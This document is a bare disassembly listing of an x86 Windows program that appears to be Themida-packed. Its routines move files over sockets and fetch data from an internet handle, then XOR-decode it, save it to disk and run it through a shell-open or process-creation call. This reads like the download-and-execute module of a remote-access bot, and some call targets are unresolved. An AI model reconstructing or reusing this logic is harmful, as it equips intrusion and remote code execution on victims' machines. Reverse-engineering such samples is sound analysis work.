		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 27107B7h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2740A58h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26F1066h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2670000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27107B7h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 27107B7h
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		call	near ptr 2690ACEh
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 2690ACEh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2670000h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]	; DATA XREF: Themida_:005576CBo
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2670323h
		nop
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


